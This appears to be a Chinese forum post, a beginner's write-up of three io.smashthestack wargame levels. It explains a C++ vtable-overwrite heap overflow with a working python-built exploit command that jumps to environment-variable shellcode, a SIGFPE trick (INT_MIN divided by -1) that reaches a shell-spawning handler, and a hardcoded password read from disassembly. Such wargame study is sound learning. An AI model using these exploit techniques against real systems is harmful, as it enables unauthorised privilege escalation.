大家好
注册了看雪论坛很久,但是最近才开始好好学习相关技术…
这回,为了熟悉一些基本的Linux操作,我开始慢慢爬io.smashthestack上的游戏
我打算将过关历程记录下来,正好可以表示一个菜鸟慢慢成长的历程
关于这类的Wargame,对于大虾们来说,一定很简单吧,所以就不再介绍了
今天我玩到了第8关,第8关的源程序是一个C++的程序:
// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>
class Number
{
public:
Number(int x) : number(x) {}
void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
virtual int operator+(Number &r) {return number + r.number;}
private:
char annotation[100];
int number;
};
int main(int argc, char **argv)
{
if(argc < 2) _exit(1);
Number *x = new Number(5);
Number *y = new Number(6);
Number &five = *x, &six = *y;
five.setAnnotation(argv[1]);
return six + five;
}
这是我玩过的关卡里面第一个出现C++的。我不太清楚C++与汇编程序应该如何联系起来,但是通过看汇编程序,发现了如此现象:
(省略很多字)
0x08048720 <main+140>: mov 0x1c(%esp),%eax // 0x1c(%esp)=0x0804a078
0x08048724 <main+144>: mov (%eax),%eax // (0x0804a078)=0x080488c8
0x08048726 <main+146>: mov (%eax),%edx
0x08048728 <main+148>: mov 0x18(%esp),%eax
0x0804872c <main+152>: mov %eax,0x4(%esp)
0x08048730 <main+156>: mov 0x1c(%esp),%eax
0x08048734 <main+160>: mov %eax,(%esp)
0x08048737 <main+163>: call *%edx
经过试验,在main+146指令执行之前,eax的值一直是0x804a078。而其正好是在0x0804a00c(annotation的开始之处)之后的108字节处。所以这有可能是某个函数表的地址(因为要将它的值传给EDX)。在正常情况下0x0804a078中存放值应当是0x80487e2,是加号运算符的地址。
(gdb) si
0x080487e2 in Number::operator+(Number&) ()
所以,如果将这个值换掉,就成了。
------------------------------------
最后破关的时候,用的是这么一个命令:
./level08 $(python -c "print '\x0f\xf9\xff\xbf'*27+'\x0C\xA0\x04\x08'")
后面的0x0804a00c是堆栈溢出,覆盖了0x0804a078中存放的值,将其改为了我字符串开始地址0x0804a00c。而字符串的内容是在环境变量中的shellcode的开始地址加上一点偏移量(以防止SIGILL)。
------------------------------------
第二关
这一关有提供源程序,如下所示。
//a little fun brought to you by bla
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
void catcher(int a)
{
setresuid(geteuid(),geteuid(),geteuid());
printf("WIN!\n");
system("/bin/sh");
exit(0);
}
int main(int argc, char **argv)
{
puts("source code is available in level02.c\n");
if (argc != 3 || !atoi(argv[2]))
return 1;
signal(SIGFPE, catcher);
return abs(atoi(argv[1])) / atoi(argv[2]);
}
可知程序安装了一个Signal Handler,抓取SIGFPE。
在维基百科上有写道,“将整数除以0会引发SIGFPE;将最小的整数除以负一时也会引发SIGFPE”(这里:
http://zh.wikipedia.org/zh/SIGFPE)
因为程序里有检查argv[2]转为整数之后不能为0,所以第一种触发SIGFPE的方法不能用;所以只能用第二种。输入最小的整数与负一就过关了。
------------------------------------
最简单的第一关
第一关没有提供源码,只提供了一个可执行文件,当执行之后会显示请输入密码。
既然没有源文件,又要提示密码,那么有可能作者将密码直接写入了可执行文件里面。
用gdb打开可执行文件,将其反编译一下,就发现了密码存在一个名为pass的函数之内:
Dump of assembler code for function pass:
0x0804852d <pass+0>: push %ebp
0x0804852e <pass+1>: mov %esp,%ebp
0x08048530 <pass+3>: sub $0x4,%esp
0x08048533 <pass+6>: movl $0x8049140,-0x4(%ebp)
0x0804853a <pass+13>: movl $0x53,0x8049140
0x08048544 <pass+23>: movl $0x65,0x8049144
0x0804854e <pass+33>: movl $0x63,0x8049148
0x08048558 <pass+43>: movl $0x72,0x804914c
0x08048562 <pass+53>: movl $0x65,0x8049150
0x0804856c <pass+63>: movl $0x74,0x8049154
0x08048576 <pass+73>: movl $0x50,0x8049158
0x08048580 <pass+83>: movl $0x57,0x804915c
0x0804858a <pass+93>: movl $0x0,0x8049160
0x08048594 <pass+103>: leave
0x08048595 <pass+104>: ret
End of assembler dump.
对照ASCII码表,可知上述字串的内容是“SecretPW”。
就完成了。
------------------------------------
[课程]Android-CTF解题方法汇总!